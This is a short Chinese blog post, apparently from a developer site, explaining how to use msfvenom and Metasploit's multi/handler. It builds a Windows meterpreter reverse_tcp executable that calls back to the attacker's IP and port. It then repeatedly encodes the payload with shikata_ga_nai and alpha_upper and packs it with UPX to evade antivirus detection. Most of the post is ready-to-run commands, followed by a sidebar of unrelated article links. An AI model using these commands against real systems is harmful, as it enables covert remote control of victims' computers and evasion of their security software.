当前位置:网站首页>msfvenom制作主控与被控端
msfvenom制作主控与被控端
2022-07-28 20:05:00 【angleoldhen】
- msfconsole
- msfvenom -p windows/meterpreter/reverse_tcp lhost 192.168.107.135 lport 5000 -f exe -o /var/payload.exe
说明:-p或--payload 后面接载荷 查看msf都有哪些载荷可以通过 msfvenom -l payloads 命令
lhost 填写主控端IP lpost填写主控端端口
-f 或 --format 接输出文件的格式
-o 或 --out 指定文件存放路径
--payload-options //列举payload的标准参数项
--help-formats //列举msf支持的输出文件格式

关于msfvenom更详细参数使用可以参看:Metasploit——msfvenom免杀木马_小白白@的博客-CSDN博客_msfvenom免杀
生成的payload.exe采用各种方法存放在被控端
在主控端msfconsole下执行
- use exploit/multi/handler
- set payload windows/meterpreter/reverse_tcp //需要与生成被控端时的payload一致
- set lhost 192.168.107.135
- set lport 5000 //这两条须与生成被控端时设置的主控端IP和端口一致
- exploit
![]()
被控端执行payload.exe后,在主控端可以看到信息:
![]()
此时主控端与被控端建立连接 。但是由于这个工具被用烂了,一般生成的被控端都会被查杀,所以通常都会对被控端进行重编码。
msf框架里的编码功能可以对被控端进行重新编码,多次编码,多种方式混合编码
执行 msfvenom -l encoder 可以查看编码器列表,excellent级的编码器效果更好
- msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.107.135 lport=5000 -e x86/nonalpha -f c
此处输出格式选C,可以在屏幕上看到编码结果,想了解多次、混合编码效果可以输出这种格式,比较low的编码出来的代码是不变的,如上例。
- msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=192.168.107.135 LPORT=5000 -e x86/shikata_ga_nai -i 10 -f raw |msfvenom -a x86 --platform Windows -e x86/alpha_upper -i 5 -f exe -o /var/payload.exe
上面的命令 -i 10 表示编码10,混合编码要写多次msfvenom用并|分隔
第二种编码不能缺--platform Windows,会执行不下去,第一种编码写不写都会报错,但是可以继续执行,原因暂不明

即使多次编码了,还是多半也被查出来,此时可以采用“加壳”的办法
upx /var/payload.exe
本文仅仅只是记录思路和命令,如上操作的被控端绝大部分还是会被查杀
边栏推荐
- 提前布局6G赛道!紫光展锐发布《6G无界 有AI》白皮书
- Wechat applet development company, do you know how to choose?
- Pytorch学习记录(三):随机梯度下降、神经网络与全连接
- 顺序表的实现
- 物联网技术栈之网关技术
- [极客大挑战 2019]Secret File&文件包含常用伪协议以及姿势
- Nano gold coupled antibody / protein Kit (20nm, 1mg/100 μ g/500 μ G coupling amount) preparation
- LeetCode链表问题——142.环形链表II(一题一文学会链表)
- 30. Learn highcharts label rotation histogram
- Skiasharp's WPF self drawn drag ball (case version)
猜你喜欢

Summary of 29 typical problems in Devops planning and construction of securities enterprises based on containerized PAAS platform

数据插值——对不同量级的数据进行归一化

Pytorch学习记录(三):随机梯度下降、神经网络与全连接

fluke dtx-1800测试精度有必要进行原厂校准吗?

Versailles ceiling: "the monthly salary of two years after graduation is only 35K, which is really unpromising ~ ~"

不用Swagger,那我用啥?

openEuler Embedded SIG | 分布式软总线

基于属性词补全的武器装备属性抽取研究

基于Paragraph-BERT-CRF的科技论文摘要语步功能信息识别方法研究

I have been in the industry for 4 years and changed jobs twice. I have understood the field of software testing~
随机推荐
Leetcode interview question 02.07. Linked list intersection [knowledge points: Double pointers, stack]
基于属性词补全的武器装备属性抽取研究
微星宝安工厂失火!官方回应:无人员受伤,产线不受影响!
How to measure software architecture
Using El date picker to report errors in sub components
Bully is filed for bankruptcy! The company has become a "Lao Lai", and the legal person is restricted from high consumption
Huawei releases the first electric drive system driveone: charging for 10 minutes, endurance of 200km
1162. Map analysis - non recursive method
Pytorch learning record (4): over fitting, convolution neural network CNN
微信小程序开发入门,自己开发小程序
MySQL 是如何归档数据的呢?
Skiasharp's WPF self drawn drag ball (case version)
Information fusion method and application of expert opinion and trust in large group emergency decision-making based on complex network
LT7911D Type-C/DP转mipi 方案成熟可提供技术支持
物联网技术栈之网关技术
With the help of domestic chip manufacturers, the shipment of white brand TWS headphones has reached 600million in 2020
八、QOS队列调度与报文丢弃
C语言入门【详细】
The ref value ‘xxx‘ will likely have changed by the time this effect function runs. If this ref......
作价11.5亿元,1206件设备注入合资公司!SK海力士抢食大陆晶圆代工市场!